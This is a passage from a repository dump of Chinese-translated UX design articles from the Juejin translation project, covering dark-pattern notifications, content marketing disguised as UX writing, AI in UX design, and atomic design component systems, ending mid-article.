可能会学会简单地停止向我显示该信息,或者向我显示其他信息。 但是这会产生道德危机。 目前,伪通知暗模式是相当粗暴的,不过好在它很容易识别。但是,随着服务不断改进他们的信息如何选择和交付,当信息在基于机器学习关于我们的个人在线行为和潜在偏好的基础上被定制时,它可能变得越来越不明显。 这开启了一扇关于操控的大门,它不仅仅是由于人类自身,还得益于那些能够学会只向我们展示我们已经想要看到的信息(哪怕那些与我们当前的世界观一致的新闻故事)的算法。 作为用户,我们应该时刻保持警惕,确保我们保持质疑和被质疑的能力。作为设计师和开发人员,我们必须不断探索而开发体验。这些体验应当尊重用户,即具有能动作用和独立人格尊严的人,而不仅仅是把他们视为点击通知的容器。 --- 很享受阅读吗?这里有更多的优质内容来自 Designlab:[伟大的设计思想家:Frank Chimero 的设计形状](http://trydesignlab.com/blog/frank-chimero-design-thinkers-shape-of-design/) --- ### 在 Designlab 学习基础知识 我们提供有导师指导的短期课程,如 Design 101,以及沉浸式的 UX Academy 课程,为你成为专业用户体验设计师而做准备。[访问我们的课程网页以了解更多](http://trydesignlab.com/courses/),如果有任何问题,请给我们留言 hello@trydesignlab.com。我们的下一期课程从 8 月初开始,所以不要犹豫! **Designlab 承诺**:我们认为教育应该是既严谨又实惠的 —— 你不应该为了获取你下一步生活需要的技能而把自己搞破产。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/are-the-ux-articles-youre-reading-trying-to-sell-you-something.md ================================================ > * 原文地址:[Are the UX articles you’re reading trying to sell you something?](https://uxdesign.cc/are-the-ux-articles-youre-reading-trying-to-sell-you-something-48b67d987a21#.ddsal4rj4) > * 原文作者:[Fabricio Teixeira](https://uxdesign.cc/@fabriciot?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[ylq167](https://github.com/ylq167) > * 校对者:[iloveivyxuan](https://github.com/iloveivyxuan) [atuooo](https://github.com/atuooo) # 你正在阅读的用户体验文章是不是在向你进行推销? # ## 一些关于现阶段 UX 领域文章的看法 —— 文章的重要性、偏见,以及如何确定你正在阅读的内容是否会偷偷的向你推销产品、服务或想法。 ## 「惊人美味」的想法。图片来自于: [Kyra](https://www.flickr.com/photos/kyra__m/5858446127/in/photolist-9VG4VR-2PUgw9-hBS3kh-5iXWaV-8PfGUn-4ZJAe3-d8keJ7-9i6CvY-9G9FxH-qAVaE-ah6b8C-amwZzW-7RKtbK-dJdWkM-a6rVGQ-hBRkQS-9R2XcS-hBQVv8-6uzKeg-ad1a9t-6uDVZG-dkKWBu-3wGmdd-pj8QfS-hBShCL-amx3j9-7hzqv8-5omsth-8mhJVP-6uDVMN-q4Z4Mp-6VZPmZ-6LbCba-4QbD7k-abLoLj-3wBW2t-8NmpPW-cCsW6s-arvp8X-amwAJw-dJjo3L-6YMsde-hBTkxa-iHowa8-bBpuVE-7MycDC-hBRFVw-bvvt7X-4AZVNV-awFueY) 所有人都在互联网上阅读关于用户体验的内容。 我也是这样的。我学习的绝大部分关于用户体验的东西来自在线阅读、网站、博客、论坛和电子书。那里有优质内容,一旦你养成了正确的阅读习惯,你就可以从别人分享的经验里学到非常多。 > 那么问题来了:**为什么人们在网上免费分享他们的经验,供大家阅读?** UX 领域发表的大部分文章都是由业内人士编写的,某种程度上来说,他们和自己的公司利益相关,因为他们就是产业的**一部分**。这个行业面临的巨大挑战就是我们没有一群作者可以积极参与其中而又以完全中立的立场去写关于用户体验的文章,他们没有办法简简单单通过写作去影响别人而不从中获益或者不想从中获益。 花点时间回顾一下这周你点击过的关于 UX 的链接。 现在看一看这些内容发布的地方。 这些公司是做什么的?他们在推销什么? 它很有可能是: - 一个设计/原型软件 - 一个设计公司 - 一个个人/作品集网站 - 一个服务提供商 - 一个通过广告赚钱的设计/技术博客 甚至当一篇文章在一些「中立」网站(比如 Mediium)发布的时候,也花时间看一看作者的个人简历。他们在哪里工作,他们以什么谋生?为什么他们花时间来写这篇文章,以及他们可能试图在向你推销什么? 别误会我的意思:任何事情都有光明的一面。 知识分享是人类本性中的固有部分,正因为如此,我们才得以互相学习、完善知识体系、变得更聪明甚至以群体的方式存活下来。而之所以我 和 [Caio Braga](https://medium.com/@caioab) 会在第一时间创立 uxdesign.cc 也有其他的一些原因,我们想把这个作为回馈社区的一种方式,将我们之前免费习得的知识再免费分享给社区。你懂的,出来混迟早要还的。 但是当我们将知识分享给设计社群时,我们必须确保我们发布的内容是公平、公正、没有一点私心的。 值得注意的是,「UX」的话题正在逐渐融入商业,对于我们这些在该领域中谋生的设计师来说,这是个好消息。没有一种方式比讨论和写作能更有效地去推销用户体验相关的产品。 近12 年来「[用户体验设计](https://www.google.com/trends/explore?date=all&q=ux%20design)」的热度变化(Google Trends) 它的负面影响是什么?公司写这样一个具体的主题是有原因的,他们希望获得点击量,他们想与搜索结果建立联系,他们想在用户体验,原型和设计领域中被定义为思维领袖。 > 而这样做的结果就是越来越多的文章带有高频的流行词汇、前往免费电子书的链接,以及诱惑用户点击的标题,因为这些东西都将为这些公司的网站带去流量。 你可能已经看到了这样的(标题): 这儿有[更多](http://ux-clickbait.tumblr.com/)。 我们收集了这些标题,但并不以此为荣。 但是让我们分析**为什么**会发生这种情况:这些作者到底想向你推销什么? ### 他们想让你用他们的原型设计工具 ### 当一些人在谷歌上搜索「最好用的原型工具」时,有些公司拼命的想成为排名第一的搜索结果。或者是「最好的 sketch 插件」「最好的用户测试应用」这些,不一而足。 除了[一些「真正」](https://uxdesign.cc/ux-user-research-and-user-testing-tools-2d339d379dc7#.vzwufa2ne)将心思花在如何创造一款有用的、高效的、易用的工具上的公司之外,大部分的公司将大量的时间投入在企业博客上。 编写和发布一篇关于用户体验、设计和原型的文章不仅会将他们的公司定位为该领域的思想领袖,而且有助于建立搜索相关性,从而提高自然搜索流量,而且,如果访问这篇文章的小部分用户决定尝试它们的工具,他们整个内容营销策略很快会变成一个**金钱制造机**。 下一次当你查看由设计或原型设计软件的制作者撰写的文章时,注意标题和介绍,是不是有太多不必要的关键词?他们是不是在暗示你只要做了什么事情就可以变成更成功的设计师?而这可能只是因为他们设计了一个工具去做这样一件事情,所以他们说服人们相信这件事情远比它实际的意义重要的多。 ### 他们(拼命地)想要你的电子邮件地址 ### 这是另一种常见的情况,你点击一个有着很有趣标题的文章,但是进入了一个有着非常小的实际阅读区域的页面。在页面的顶部和底部你可以看见一系列的**悬浮遮罩**和**弹出式广告**邀请你下载该公司的电子书,只要简单的输入你的电子邮箱地址。 这叫做[内容营销](https://www.forbes.com/forbes/welcome/?toURL=https://www.forbes.com/sites/joshsteimle/2014/09/19/what-is-content-marketing/&refURL=&referrer=),当一切完成,这就成为了产生潜在客户的有效方式。 问你自己一个问题,为什么他们如此努力的要获得你的电子邮箱地址。是为了卖给第三方吗?他们会通过每天向你发送垃圾邮件让你的生活变得糟糕?他们会在向你发送的邮件中销售广告模块吗?还是她们只是尝试结交新朋友? ### 他们想要招募你 ### 还有另外一些公司,大多数是设计机构和产品设计团队,他们使用长文章作为招聘手段。有一些[优秀团队发布的文章](https://uxdesign.cc/the-best-medium-publications-from-design-teams-to-follow-fc609bdd49d2),他们编写并发布得十分频繁。 课程:[作一分钟 dropbox 视频](https://medium.com/dropbox-design/the-making-of-a-1-minute-dropbox-video-c0e909d98fc3#.7b21pvuw4) 来自这部分公司的内容往往是精心设计的,并且和正在经历这篇文章所说挑战的设计师相关。 高质量的内容并不值得惊讶:这些公司通常有专门的团队(或每周给设计师专门的时间)来写作以及同全世界分享他们的经验。他们意识到长文章如何能够为设计师提供一个幕后的视角,让他们知道为这个公司工作的感受是什么。而这些内容通常围绕以下几个方面: - 在该公司工作多么的有趣 - 该公司的产品多么惊人 - 设计过程多么鼓舞人心和高效协作 - 公司的工作空间和员工们多么得酷 这里的建议是:对一切都要抱有怀疑的态度而不是完全相信。在点击「发布」之前,公司说的和展示的一切都全部已经精心策划过。 > **并不是每一个设计过程都像它写的回顾看起来那样流畅,也不是所有的设计交付品都像案例研究中所显示的那样清晰和简明。** ### 他们想推销自己的个人品牌 ### 在一些情况下,你正在阅读的文章背后并不是一个大公司。内容发布在独立博客平台上,并且署名是个人,还有真实的头像,而不是一个商标。 现在看一看他们的简历。 - 「ary Smith,自由设计师,会公开演出」 - 「Joe Schmo,设计工作室 XYZ 的联合创始人,这儿有链接:(译者注:原文中并没有链接)」 - 「John Nerks,独立 UX 顾问,买我的新书(译者注:原文中并没有链接)」 虽然由独立作者撰写的文章并没有试图向你销售一个特定的工具或公司价值,但有其他的 KPI 指标隐藏在表面之下(比如增加关注者或潜在客户和雇主的数量)。 这也无可厚非。。 这是大多数作家在 uxdesign.cc 的情况。就我个人来说,这也是我的情况。每周我们收到并发表许多独立作家的文章。我们很喜欢他们:这些故事涵盖超级有趣的话题,他们确实在花时间与其他设计师分享他们的经验 —— 这真的很棒。 我们有一套标准去对每一篇文章进行筛选:对读者来说内容是否清晰?作者是否教会读者一些新的东西?而作为交换,这篇文章是不是也给作者带来了知名度。 但是有些设计师像大公司一样,把线上渠道作为内容营销的场所,他们通过写一些热门话题,让自己成为专家,**然而他们并没有在该领域的真实经历或专业知识**。 这很难判断,因为「真实经历」太主观了。但你的确可以做一些事情去检查一下文章的来源。 ### 问自己的问题(对,一份检查清单) ### 写作作为一种营销工具的趋势短期内不会放慢。一个话题(在我们的领域就是「UX」)得到的认同越多,越多的公司和专业人员想抓住这个机会参与其中。 但是作为一个读者,你可以做一些事情,让你下次再接触未知来源的文章时有更好的准备。就像设计中所有的事情归根结底在于[提出正确的问题](https://www.subtraction.com/2016/06/24/questions-to-ask-yourself-when-reading-about-design/),同时在分享之前,对我们阅读和分享的内容多一些质疑。 - **谁在写?** 作者是否清楚的说明了对于正在讨论的问题可能存在偏见?他们与创作这个设计的公司有什么关系吗?或者是他们的竞争公司吗?他们的公司如何盈利?他们有什么资格写这个主题?(请记住:当前,任何人都可以在 Medium 中创建账号) - **这篇文章的内容是什么?** 作者表明的观点是基于猜测还是基于已有的证据?这篇文章是否为它所说言论提供了背景而不仅仅是作者的个人经历? - **这篇文章是怎么论述的?** 这篇文章是否使用了夸张的语言,或者在某些方面强行说服你?作者是否使用了太多的关键词,或者为 SEO 编写了一些内容?是标题党吗?作者是否挑起了争议,作为一种得到更多关注和评论的方式?他们是否举了真实的例子去支持他们的观点? - **这篇文章教了一些新东西吗?** 这篇文章是否挑战你对这个问题的假设?他是否有助于你在不同的角度看待一个话题?你在文章结束后是否学到了新东西?这个信息源未来的内容是否真的值得订阅或关注? ### 界限变得越发模糊 ### > **内容营销**最大的挑战就是大部分都是伪装了的广告。 不同于横幅广告和 YouTube 视频播放前的广告,内容营销没有免责声明,没有明确的迹象表明你正在阅读的背后是商业利益。但是这绝对是我们生活世界的真实情况,除了认识到它、提出正确的问题、对我们在网上阅读和分享的内容保持怀疑外,我们也无法做更多的事情。 ### 所以,我们为什么写作? ### 不瞒你说:我们属于「营销个人品牌」的那一类。作为一个拥有超过 15 万来自世界各地粉丝而且他们会每周都会收到我们内容的网站的编辑,我们当然知道在线写作和分析内容可以给我们一些知名度,把知名度作为主要驱动力是十分诱人的。但是当你这样做的时候。内容会变得浅显,并且完全由数字驱动。所以每天我们强迫自己记住我们的使命:回报社区一些有**价值**的东西。 我们不从 uxdesign.cc 赚钱,也从未打算这么做。 但在我们每周收到的数以百计的电子邮件和评论中,经常有这些内容:有的设计师因为我们分享了一篇文章决定从事 UX 的工作,有的在他们的项目中应用了一种[新方法](https://uxdesign.cc/ux-design-methods-deliverables-657f54ce3c7d),或者只是对[每周](http://ux.email)他们从我们这儿得到的灵感表示感谢。 这是我们可以想要的最好的 KPI。 我们感受到了认同感,但同时我们也感受到了一种**责任感**,我们需要规范一下我们行业的线上发布文章的情况。 **现在,如果你喜欢这篇文章,请在下方订阅我们的每周通讯。这样我们就可以从我们的赞助商中获得大量的钱。(邪恶的笑)** 开个玩笑:我们的通讯没有任何广告和任何赞助,不会和钱有任何瓜葛。 但是,你为什么要相信我呢?对吧。:) ================================================ FILE: TODO/artificial-intelligence-in-ux-design.md ================================================ > * 原文地址:[Can AI Solve Your UX Design Problems?](https://www.sitepoint.com/artificial-intelligence-in-ux-design/) > * 原文作者:[Mukund Krishna](https://www.sitepoint.com/author/mukund-krishna/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/artificial-intelligence-in-ux-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/artificial-intelligence-in-ux-design.md) > * 译者:[Changkun Ou](https://github.com/changkun/) > * 校对者:[Tina92](https://github.com/Tina92)、[shawnchenxmu](https://github.com/shawnchenxmu) # AI 能解决你的 UX 设计问题吗? ![AI Powered UX](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/1501567920icDqSo2.jpg) 马克·扎克伯格在 2016 年的重要新年决定之一就是建立属于自己的「[简单 AI 机器人](http://www.vanityfair.com/news/2016/12/mark-zuckerberg-spent-100-hours-building-his-own-robot-butler)」,来帮助他解决家务。还记得钢铁侠的管家 Jarvis 吗?这就是一个关于AI如何发挥作用的好莱坞经典范例。 那么,人工智能(artificial intelligence, AI)究竟是什么?它又如何能解决当今最常见的UX问题呢 ![Tony Stark using Jarvis](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/150156788652646.jpg) Tony Stark 在使用 Jarvis。 人工智能(或者说 AI)是一种先进的类人计算机系统,能够聪明的管理通常需要人类手动执行的活动和系统。当苹果的 Siri 和亚马逊的 Echo 这样的机器人还在处理我们最平凡的任务时,像 Google 的 **Deep Dream** 这样的机器人天生就具有创造性,并能帮助用户解决问题,从而改善他们的体验。 AI 正在多个实时场景中得到应用: - **处理数据爆炸**:随着智能手机和移动设备的出现,数据正爆炸式增长。随着数据量的增长,有一个 AI 系统来分析、处理、组织和解释数据。 - **辨别我们的意图**:Netflix 可以从你的行为中预测什么样的电视节目或电影将让你待在沙发上。想象一下,你的 AI 系统可以调整汽车的温度,在你从车库出来时自动把灯关掉。 - **改善客户体验**:AI 可深入挖掘人眼可能错过的细节,从而帮助你专注于正确的数据。 比如,[RightClick.io](https://rightclick.io/#/) 是一个聊天机器人,可以让你通过与其对话来创建网站。即使你试着对其用不相关的问题转移话题,这个 AI 设备还是会引导你返回网站创建的实际工作中去。 ![RightClick.io](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/15015679069ApLLkv.jpg) RightClick.io 人工智能正在改变我们创造用户体验的方式。 虽然**终结者**的电影给了我们一个 AI 的反乌托邦的想法,但现实是完全不同的。AI 是一种强大的技术,可以积极地影响消费者行为,并使企业能够提供出色的用户体验。 ## 理解 AI 在 UX 中的作用 首先,让我们来看看如今现实生活中一些 AI 如何影响 UX 的场景。 能够感知上下文的聊天机器人可以通过提供一些及时的建议或解决方法从而取悦你的客户。导航应用程序可以毫不费力地将你引导到目的地。简单点几下,你就可以在家门口收到你最喜爱的餐点。 ### 这是怎么工作的? 开发 AI 的想法来自科幻小说,这些小说描述了可以说话、思考或感受的机器。AI 是多种新兴技术的组合,比如:机器学习、深度学习、聊天机器人、增强现实、虚拟现实和机器人等等。 AI 涵盖了将智能注入到机器或设备的任何事情,使它们能模仿人类独特的推理能力。 所有这些,都可以通过使用能够发现人类行为模式、并从设备接收和存储的数据产生见解的算法来实现。应该细心的编写启用人工智能的设备或者机器,以便它们能在将来的决策中起到帮助。 这一切可能听起来很简单,但这些交互都是由快速增长的 AI 技术提供的。事实上,当涉及人性化客户体验时,AI 将成为 UX 设计师套件中不可或缺的工具。然而,除了构建类似人类的对话和行动之外,AI 还能在数字领域中大显身手,创造出优秀的 UX。 ## 1. 一个面向协助的平台 AI 正在伴随着机器人走向主流,而机器人则通过认知智能的力量培育出了像人一样的互动。然而,机器人不能完全取代人类。相反,AI 在 UX 的领域起到了卓有成效的协助作用。 例如,[TheGrid.io](https://thegrid.io/) 是一个算法驱动的设计平台,可让您构建高度令人印象深刻和优化的网站。该平台是围绕连续 A/B 测试和细化布局的概念构建的。设计师可以筛选由这些 AI 驱动的工具提供的多个选项,并选择适合它们的功能。 ![TheGrid.io](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/1501567868cAk9mgD-e1501568470475.jpg) 像任何好的助手一样,它通常在提供的新选项中做出最好的决定,而不是作出关键的决定。当设计师有一个智能平台帮助他们选择一个模板并通过应用算法来验证模板时,它可以帮助他们做出更多的创造性决策。 ## 2. 用 AI 制定旅程 像 [ReFUEL4](https://www.refuel4.com/) 这样的公司利用预测分析的力量来了解用户的线上行为,并根据他们的行为对其进行进一步的细化。最强大的 UX 是一个了解甚至能预测用户兴趣和行动的 UX。 ![Refuel4](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/1501567882ezgif.com-optimize-34.gif) 一旦设计师能够制定用户的行程,那么他就可以理解用户在交互过程中所期望路径。AI 驱动的行程制定可让你创建简单、有吸引力和有利可图的用户界面。 ## 3. 接管重复、低价值的创造性任务 在多设备世界里,设计师经常必须提出许多图形和各种各样的内容,以满足各种形式的活动。 这可能很麻烦,要花很多时间。 ![Netflix layout generation.](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/150156789352650.jpg) Netflix 的布局生成。 这就是像 Netflix 这样的平台将这些繁琐的任务交给算法的原因。人类设计师可以绘制布局应如何工作的「规则」,然后为系统提供一个原始图形元素库来处理它们。Netflix 的系统能够将规则与图像素材相结合,以创建原始电影海报和横幅单元。 当 AI 处理这些任务时,设计人员可以更多地关注理解用户之旅并完善这些规则。 这与高级设计师正在指导一支初级设计师团队没什么不同的,双赢。 像机器学习这样的 AI 技术可以使数字营销人员进行细粒度定位。例如,IBM 的 Watson 促进心理用户细分,使营销人员能够在正确的时间向正确的受众提供正确的内容。 ### Watson AI 的工作原理: 为了发现统计学上相关的短语,Watson 将问题分解成不同的关键字或「句子片段」。它不仅为此操作创建了一种新算法,而且同时执行了数百种分析算法。 如果越多的算法独立出现相同的答案,那么 Watson 就越有可能是正确的。一旦 Watson 获得了多个解决方案,它将验证数据库的潜在解决方法,从而确定其中的任何一个是否有意义。 ## 你会怎样塑造 AI 来获得更好的 UX ? AI 系统能够快速分析大量数据,并实时学习和调整其行为。 AI 系统可以从上下文中推断,你则需要给它们提供额外的关于业务规则、问题、元数据和类似的类似的其他条件的信息。 当你通过每个设计阶段建立良好的用户体验时,你可以不断完善您询问 AI 系统的问题。这将改变分析数据的方式。 例如,如果您正在管理健康保险网站,可以问如下问题: - 40 至 60岁之间有多少人使用你的应用程序? - 有多少准妈妈访问系统? 系统会收到你的问题,分析数据并学习给出最佳答案。每当你提供新的数据或标准时,系统会使用人工智能来改善自身的用户体验。 ## 塑造 AI 的艺术: - 你可以向你的 AI 系统询问从一般到特殊问题。系统则处理问题、拿到数据再自我学习。 - AI 可以分析搜索引擎上的所有查询,收集更多的用户分析结果、识别趋势,并生成更丰富的结果。 - 使用数据优化搜索结果的质量:AI 可以预测搜索条件、提供建议、跨主题推荐(类似于 Amazon 提供的),从而给出更多相关的内容。 - 最重要的是,AI 能学习到目前为止所有访问过你应用的用户,并为你的用户提供了所需的内容。这产生了更丰富的用户体验。 - 具有 AI 的信息架构:AI 分析你的内部和外部数据,并帮助你构建内容管理系统的信息结构和最终用户的导航结构。 用户体验不一定是利用对数据的见解,它也是关于智能的。人工智能通过向不同数据源注入智能,从而连接了各类独立的节点。 虽然像机器学习、聊天机器人、VR、机器人、AR 等系统的 AI 技术正呈增长势头,但增长似乎是渐进的。 AI 与 UX 结合成为未来技术的标志。将 AI 与 UX 合并是一个公式,一个将引领我们增强内容的可查找性和可获取性的公式。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/atomic-design-how-to-design-systems-of-components.md ================================================ > * 原文地址:[Atomic design: how to design systems of components](https://uxdesign.cc/atomic-design-how-to-design-systems-of-components-ab41f24f260e) > * 原文作者:[Audrey Hacq](https://uxdesign.cc/@audreyhacq) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/atomic-design-how-to-design-systems-of-components.md](https://github.com/xitu/gold-miner/blob/master/TODO/atomic-design-how-to-design-systems-of-components.md) > * 译者:[H2O-2](https://github.com/H2O-2) > * 校对者:[ZhangFe](https://github.com/ZhangFe),[LeviDing](https://github.com/leviding) # 原子设计:如何设计组件系统 如今,数字产品需要同时适用于任何的设备,屏幕尺寸和媒介: ![](https://cdn-images-1.medium.com/max/800/1*q-qsAsIFizbZkalv7TwEOw.jpeg) 所有媒介现在都可以显示我们的界面元素 > **所以我们为啥还在依据「页面」或者屏幕设计自己的产品?!** 我们应该通过设计优美、简洁且兼容一切设备、屏幕尺寸或内容的访问方式取而代之。 依据以上原则以及受到模块化设计的启发,Brad Frost 构想出了从最小的界面元素:原子,着手的原子设计方法。这个巧妙的比喻让我们理解了我们到底在创作什么,尤其是应该如何创作它。 我对这个方法深信不疑:它终于可以让我们同时考虑部分和整体,拥有对产品或品牌的全局视野,并且能够以更接近开发者的工作方式工作。 因此我自忖道: **「没错儿了,就是这样!我们就需要像这样工作!」** **但是说实话,我完全不知道该怎么做...** 在花了几个月的时间并且做了几个实打实的项目之后,我才终于对「原子设计方式」的内在含义,以及它将会如何改变我的设计师之路有了些了解。 在这篇文章里,我将会简要介绍一下我学到的知识,以及在通过原子设计方式设计组件系统时需要注意什么。 ### 针对何种项目? 对于我来说,每一个项目,无论大小都可以使用原子设计的理念。 这种方式可以统一团队的视野。组件易于复用、编辑和组合,使得项目的发展变得简单。至于小的项目嘛... 每个小项目总有一天都可能成为大项目,不是吗? 和大部分人的认知相左的是,我认为原子设计方法并不只适用于网络相关的项目 ... 事实上截然相反!我成功地在一个个人项目中(一个叫做 [TouchUp](https://itunes.apple.com/fr/app/touchup/id1128944336?mt=8)) 的 iOS 应用,可以清理你的地址簿)引入了原子设计,而且与我合作的开发者非常欣赏这种方式。当我们想快速开发并迭代产品的时候,它帮了大忙。 同时我推荐那些担忧创造性与构建组件系统是否可能共存的人读读这篇文章:「[原子设计与创造性](https://medium.com/@audreyhacq/atomic-design-creativity-28ef74d71bc6)」 ### **这和过去有什么不同呢?** 经常有人问我: **「但是这和我们过去的工作方式有什么不同呢?」** 我认为原子设计对界面设计方法只做出了很小的改变,但最终却带来了巨大的影响。 > **部分塑造整体且整体塑造部分** 直到最近,我们仍会单独设计产品的每一个界面,然后把它们裁剪成小组件,以此来创建设计规格或 UI 套件(UI Kits): ![](https://cdn-images-1.medium.com/max/800/1*3OFaoY-yLYdgPmO8AhejmQ.jpeg) 之前:我们解构界面来制作组件。 这样制作出来的组件有一个问题,它们并不通用,且互不依赖。因此组件的重复利用是非常有限的:我们的设计系统具有局限性。 --- 现如今,原子设计的理念是从可以最终构建出整个项目的通用原材料(原子)入手。 ![](https://cdn-images-1.medium.com/max/800/1*yyN6Ki0646UcFLsDabUShw.jpeg) 现如今:我们从原子开始并且用原子构建。 因此我们不仅拥有了充斥在所有界面之间的「家庭气氛」(译注:「家庭气氛」是一部法国的喜剧电影),更拥有了一个带来无限设计可能性的系统! ### 一切始于品牌识别(Brand Identity) 现在你也许在想: **「如果我们想以原子的方式设计,该从哪开始呢?」** 对这个问题我给出了一个极富逻辑性的回答:从原子开始 ;) 因此我们首先要为产品设计出一个独特的视觉语言作为起点。它将会定义我们的原子和原材料,而且显然它应与品牌识别紧密相连。 这个视觉语言一定要有力度、易于扩展、并且能够从其展示媒体中解放自我;它必须能在所有地方奏效! 比如 [Gretel agency](http://gretelny.com/work/netflix/) 就为 Netflix 的品牌识别做了些出色的工作。 ![](https://cdn-images-1.medium.com/max/800/1*Piomy-9oNTP0yT3VcmKH4w.png) Netflix 的视觉语言:有力度、辨识度高且易于扩展。 多亏了强有力的品牌识别,我们会觉得已经有充足的材料发布最初的一系列原子了:色彩、字体选择、表单、阴影、空白、节奏、动画原则... 因此很有必要花时间设计品牌识别、思考重点是什么、以及如何能让品牌和产品与众不同。 ### 让我们回到组件上来 有了原材料(目前仍然比较抽象),我们就可以根据产品目标以及我们辨识出的初始用户流程来设计我们最初的组件了。 #### 从关键特征开始 最让那些构建组件系统的设计师们胆寒的莫过于创建与什么都不关联的组件 ... 很显然,我们不会在没有购物功能的产品里设计购物车组件的!这完全不合常理! 最初的组件将会和产品或品牌目标紧密结合。 重申一遍,忘掉「页面」这个概念,我坚持侧重于产品特色或用户流程,而不是界面... ![](https://cdn-images-1.medium.com/max/800/1*bn-X_RyQCiW375OBOtnZxw.gif) 我们应该侧重于一个行为,而不是某个特定的界面。 我们会把注意力集中在某个我们希望用户去执行的操作以及它所需要的组件上。界面数量则会根据用户环境变化:也许在台式电脑上我们只需半个界面,智能手机却需要三个连续的界面来显示某个组件... #### 充实组件系统 接下来为了充实组件系统,我们要在已经存在的组件和新功能间循环往复: ![](https://cdn-images-1.medium.com/max/800/1*35_KbPOTixmDVgUnShvitQ.jpeg) 通过在已经存在的组件和新功能间循环往复来充实组件系统。 最初的组件可以帮我们创建出最初的界面,接下来,最初的界面又会帮我们在系统中创造新的组件,或改变已有的组件。 #### 「通用」思维方式 ![](https://cdn-images-1.medium.com/max/800/1*pMfHPwQ0dH_ITybJ9mVIGg.png) 在用原子设计方法设计时,我们应该牢记,同一个组件会在不同的上下文环境中被否决或重复使用。 > **因此我们将会把元素的结构和其内容真正区别开来** 例如我要创建一个「联系人列表」组件,我可以马上把它转变成一个通用的「列表」组件。 然后我会想想这个组件可能有的变形:如果我要添加或删除元素怎么办?如果文本占了两行呢?这个组件的响应式行为会是什么? ![](https://cdn-images-1.medium.com/max/800/1*zpLDZgMO0s6R0OsTX0g5NQ.png) 把一个特定组件转变为通用组件。 预见到这些变形后,我可以在这个组件基础上,创建出其他的组件: ![](https://cdn-images-1.medium.com/max/800/1*nn-NcMuzv6VdV3hpgvc7AQ.png) 通用组件的可能变形。 如果想让我们的组件系统内容丰富且可被再利用,这么做是必须的。 #### 「流体」思维方式 我们仍倾向于把响应式设计想成块状元素在特定断点上的重新组合。 然而实际上组件自身必须拥有它们自己的断点和流体行为(fluid behavior)。 多亏了像 Sketch 这样的软件,我们终于可以测试组件的各种响应式行为并且决定哪些组件应该是流体的,哪些组件应该是固定的。 ![](https://cdn-images-1.medium.com/max/800/1*LXu8lJ-poM3d6TD3g6y2uw.gif) 我们需要预测组件的流体行为。 我们也可以预想到,一个组件在不同的用户环境中可能会有很大区别。 比如一个在台式电脑上显示为圆角矩形的按钮,在智能手表上可能就会变成一个带有图标的简易的圆形。 #### 部分和整体 通过原子设计构建组件系统有一个有趣的地方:我们在有意识地创建一系列互相依赖的组件。 ![](https://cdn-images-1.medium.com/max/800/1*7xilIVazxs1V6rGCY9VuDA.jpeg) 完成细节部分后再后退一步,在更大的格局中审视结果。 我们不断地把视线拉近或拉远来进行作业。我们会先在一个细节、一个微交互、或是一个组件的微调上花时间,接着后退一步在上下文环境中审视其视觉效果,接着再后退一步查看整体效果。 这就是我们改进品牌识别,开发组件以及检验组件系统正常运作的方法。 ### 使成品相关联 ![](https://cdn-images-1.medium.com/max/800/1*gczpHM7chfldsdtvr7Umtw.png) 我们所有的组件都与原子相连。因此我们将可以轻松地更改部分组件系统,并观察这种更改对系统其余部分的副作用! > **如今身为设计师的我们是何其幸运:利用改良之后的工具,我们终于可以创造出灵活且不断演化的系统了。** 当然,现在已经有可以让我们创建共享样式并使相似组件相互关联的软件了,例如 Sketch 和 Figma。但是我确信在接下来的几年内会出现更多这样的软件。 我们终于可以像开发者一样拥有自己的风格指南(style guide)并围绕它构建整个组件系统了。对系统中一个原子的微调就会自动反应到所有使用它的组件: ![](https://cdn-images-1.medium.com/max/800/1*xAMdhevJ8lLRMxO_yLljZg.gif) 所有组件都与原子相连。 我们很快就会意识到对组件的修改会如何影响整个系统。 我们也会意识到,通过使组件相连,一个新增的组件将会影响到整个系统的核心部分,而不仅仅是一个孤立的界面。 ### 共享系统 为了保持多个产品的一致性,系统的共享是必须的。 我们都知道,当我们独立完成一个项目时,一致性很快就会消失,但当我们越来越多地和其他设计师合作时,保持一致性会更加困难。 这时又一次,我们已经拥有可以围绕一个共同的系统进行团队协作的工具了。 例如 Sketch 的 Craft,或是 Adobe 